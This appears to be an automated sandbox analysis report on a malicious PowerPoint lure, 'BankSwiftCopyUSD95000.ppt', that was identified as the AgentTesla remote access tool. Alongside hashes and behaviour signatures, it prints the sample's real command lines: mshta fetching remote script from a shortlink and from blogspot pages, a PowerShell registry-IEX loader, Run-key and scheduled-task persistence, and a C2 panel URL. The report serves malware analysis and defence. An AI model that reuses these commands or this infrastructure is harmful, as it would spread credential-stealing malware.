Analysis
-
max time kernel
126s -
max time network
131s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
14-01-2021 12:20
Static task
static1
Behavioral task
behavioral1
Sample
BankSwiftCopyUSD95000.ppt
Resource
win7v20201028
Behavioral task
behavioral2
Sample
BankSwiftCopyUSD95000.ppt
Resource
win10v20201028
General
-
Target
BankSwiftCopyUSD95000.ppt
-
Size
99KB
-
MD5
7f0b415d0b7a76530b2f510a910811e5
-
SHA1
480594ad26c91dd9d719c80334285375540dc83e
-
SHA256
8d3e1d1a1775191a33980069f500e37f22bdcd0a1ad3544ab4a9d0a651fbd019
-
SHA512
d9b3320b51f390a6f75e7e3102044557e6476103c94ec4451819b78b4503f8018fee7ce8f70657473b310b14b752935fac2b7e5caaeb318e09a9af317701d8f4
Malware Config
Extracted
agenttesla
http://64.188.18.218/webpanel-st/inc/6295ae82aa2db6.php
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
ping.exemshta.exeping.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 580 2024 ping.exe POWERPNT.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 920 2024 mshta.exe POWERPNT.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 1944 2024 ping.exe POWERPNT.EXE -
AgentTesla Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/488-37-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla behavioral1/memory/488-38-0x00000000004376FE-mapping.dmp family_agenttesla behavioral1/memory/488-39-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla behavioral1/memory/488-40-0x0000000000400000-0x000000000043C000-memory.dmp family_agenttesla -
Blocklisted process makes network request 12 IoCs
Processes:
mshta.exepowershell.exeflow pid process 6 920 mshta.exe 8 920 mshta.exe 10 920 mshta.exe 12 920 mshta.exe 13 920 mshta.exe 15 920 mshta.exe 17 920 mshta.exe 18 920 mshta.exe 20 920 mshta.exe 23 920 mshta.exe 24 920 mshta.exe 27 2000 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
MSBuild.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts MSBuild.exe -
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\mithuiki = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).meather)|IEX\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\checkmatebaby = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://backbones1234511a.blogspot.com/p/stback1.html\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://startthepartyup.blogspot.com/p/backbone14.html\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\bukun = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://ghostbackbone123.blogspot.com/p/ghostbackup13.html\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Defeduckgotfucked = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).phuttalylo)|IEX\"\", 0 : window.close\")" mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2000 set thread context of 488 2000 powershell.exe MSBuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 1732 taskkill.exe 1760 taskkill.exe -
Processes:
POWERPNT.EXEmshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE -
Modifies registry class 64 IoCs
Processes:
POWERPNT.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493453-5A91-11CF-8700-00AA0060263B}\ = "SlideShowWindow" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A68-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Floor" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "TickLabels" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345A-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Corners" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ = "PrintRanges" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\ = "ScaleEffect" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EF-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\ = "Sequences" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ = "TextFrame2" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\ = "Player" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493456-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345F-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\ = "Cell" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE -
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 2024 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeMSBuild.exepid process 2000 powershell.exe 2000 powershell.exe 488 MSBuild.exe 488 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
taskkill.exetaskkill.exepowershell.exeMSBuild.exedescription pid process Token: SeDebugPrivilege 1732 taskkill.exe Token: SeDebugPrivilege 1760 taskkill.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeIncreaseQuotaPrivilege 2000 powershell.exe Token: SeSecurityPrivilege 2000 powershell.exe Token: SeTakeOwnershipPrivilege 2000 powershell.exe Token: SeLoadDriverPrivilege 2000 powershell.exe Token: SeSystemProfilePrivilege 2000 powershell.exe Token: SeSystemtimePrivilege 2000 powershell.exe Token: SeProfSingleProcessPrivilege 2000 powershell.exe Token: SeIncBasePriorityPrivilege 2000 powershell.exe Token: SeCreatePagefilePrivilege 2000 powershell.exe Token: SeBackupPrivilege 2000 powershell.exe Token: SeRestorePrivilege 2000 powershell.exe Token: SeShutdownPrivilege 2000 powershell.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeSystemEnvironmentPrivilege 2000 powershell.exe Token: SeRemoteShutdownPrivilege 2000 powershell.exe Token: SeUndockPrivilege 2000 powershell.exe Token: SeManageVolumePrivilege 2000 powershell.exe Token: 33 2000 powershell.exe Token: 34 2000 powershell.exe Token: 35 2000 powershell.exe Token: SeIncreaseQuotaPrivilege 2000 powershell.exe Token: SeSecurityPrivilege 2000 powershell.exe Token: SeTakeOwnershipPrivilege 2000 powershell.exe Token: SeLoadDriverPrivilege 2000 powershell.exe Token: SeSystemProfilePrivilege 2000 powershell.exe Token: SeSystemtimePrivilege 2000 powershell.exe Token: SeProfSingleProcessPrivilege 2000 powershell.exe Token: SeIncBasePriorityPrivilege 2000 powershell.exe Token: SeCreatePagefilePrivilege 2000 powershell.exe Token: SeBackupPrivilege 2000 powershell.exe Token: SeRestorePrivilege 2000 powershell.exe Token: SeShutdownPrivilege 2000 powershell.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeSystemEnvironmentPrivilege 2000 powershell.exe Token: SeRemoteShutdownPrivilege 2000 powershell.exe Token: SeUndockPrivilege 2000 powershell.exe Token: SeManageVolumePrivilege 2000 powershell.exe Token: 33 2000 powershell.exe Token: 34 2000 powershell.exe Token: 35 2000 powershell.exe Token: SeDebugPrivilege 488 MSBuild.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
MSBuild.exepid process 488 MSBuild.exe -
Suspicious use of WriteProcessMemory 45 IoCs
Processes:
POWERPNT.EXEmshta.execmd.exepowershell.exedescription pid process target process PID 2024 wrote to memory of 1736 2024 POWERPNT.EXE splwow64.exe PID 2024 wrote to memory of 1736 2024 POWERPNT.EXE splwow64.exe PID 2024 wrote to memory of 1736 2024 POWERPNT.EXE splwow64.exe PID 2024 wrote to memory of 1736 2024 POWERPNT.EXE splwow64.exe PID 2024 wrote to memory of 580 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 580 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 580 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 580 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 920 2024 POWERPNT.EXE mshta.exe PID 2024 wrote to memory of 920 2024 POWERPNT.EXE mshta.exe PID 2024 wrote to memory of 920 2024 POWERPNT.EXE mshta.exe PID 2024 wrote to memory of 920 2024 POWERPNT.EXE mshta.exe PID 2024 wrote to memory of 1944 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 1944 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 1944 2024 POWERPNT.EXE ping.exe PID 2024 wrote to memory of 1944 2024 POWERPNT.EXE ping.exe PID 920 wrote to memory of 2000 920 mshta.exe powershell.exe PID 920 wrote to memory of 2000 920 mshta.exe powershell.exe PID 920 wrote to memory of 2000 920 mshta.exe powershell.exe PID 920 wrote to memory of 2000 920 mshta.exe powershell.exe PID 920 wrote to memory of 1760 920 mshta.exe schtasks.exe PID 920 wrote to memory of 1760 920 mshta.exe schtasks.exe PID 920 wrote to memory of 1760 920 mshta.exe schtasks.exe PID 920 wrote to memory of 1760 920 mshta.exe schtasks.exe PID 920 wrote to memory of 1188 920 mshta.exe cmd.exe PID 920 wrote to memory of 1188 920 mshta.exe cmd.exe PID 920 wrote to memory of 1188 920 mshta.exe cmd.exe PID 920 wrote to memory of 1188 920 mshta.exe cmd.exe PID 1188 wrote to memory of 1732 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1732 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1732 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1732 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1760 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1760 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1760 1188 cmd.exe taskkill.exe PID 1188 wrote to memory of 1760 1188 cmd.exe taskkill.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe PID 2000 wrote to memory of 488 2000 powershell.exe MSBuild.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\BankSwiftCopyUSD95000.ppt"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\SysWOW64\ping.exeping.exe2⤵
- Process spawned unexpected child process
- Runs ping.exe
-
C:\Windows\SysWOW64\mshta.exemshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).meather)|IEX3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://randikhanaekminar.blogspot.com/p/st2.html""\"", 0 : window.close"\")3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im winword.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im EXCEL.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ping.exeping.exe2⤵
- Process spawned unexpected child process
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/488-39-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/488-41-0x0000000072C50000-0x000000007333E000-memory.dmpFilesize
6.9MB
-
memory/488-37-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/488-38-0x00000000004376FE-mapping.dmp
-
memory/488-40-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
-
memory/580-4-0x0000000000000000-mapping.dmp
-
memory/628-6-0x000007FEF6510000-0x000007FEF678A000-memory.dmpFilesize
2.5MB
-
memory/920-5-0x0000000000000000-mapping.dmp
-
memory/1188-11-0x0000000000000000-mapping.dmp
-
memory/1732-12-0x0000000000000000-mapping.dmp
-
memory/1736-2-0x0000000000000000-mapping.dmp
-
memory/1760-13-0x0000000000000000-mapping.dmp
-
memory/1760-9-0x0000000000000000-mapping.dmp
-
memory/1944-7-0x0000000000000000-mapping.dmp
-
memory/2000-16-0x0000000002590000-0x0000000002591000-memory.dmpFilesize
4KB
-
memory/2000-17-0x0000000005290000-0x0000000005291000-memory.dmpFilesize
4KB
-
memory/2000-20-0x0000000005760000-0x0000000005761000-memory.dmpFilesize
4KB
-
memory/2000-25-0x00000000057A0000-0x00000000057A1000-memory.dmpFilesize
4KB
-
memory/2000-26-0x0000000006280000-0x0000000006281000-memory.dmpFilesize
4KB
-
memory/2000-33-0x0000000006340000-0x0000000006341000-memory.dmpFilesize
4KB
-
memory/2000-34-0x0000000006610000-0x0000000006611000-memory.dmpFilesize
4KB
-
memory/2000-35-0x00000000063C0000-0x00000000063D0000-memory.dmpFilesize
64KB
-
memory/2000-36-0x00000000020A0000-0x00000000020A8000-memory.dmpFilesize
32KB
-
memory/2000-15-0x0000000004670000-0x0000000004671000-memory.dmpFilesize
4KB
-
memory/2000-14-0x0000000002350000-0x0000000002351000-memory.dmpFilesize
4KB
-
memory/2000-10-0x0000000072C50000-0x000000007333E000-memory.dmpFilesize
6.9MB
-
memory/2000-8-0x0000000000000000-mapping.dmp
-
memory/2024-3-0x0000000000480000-0x0000000000481000-memory.dmpFilesize
4KB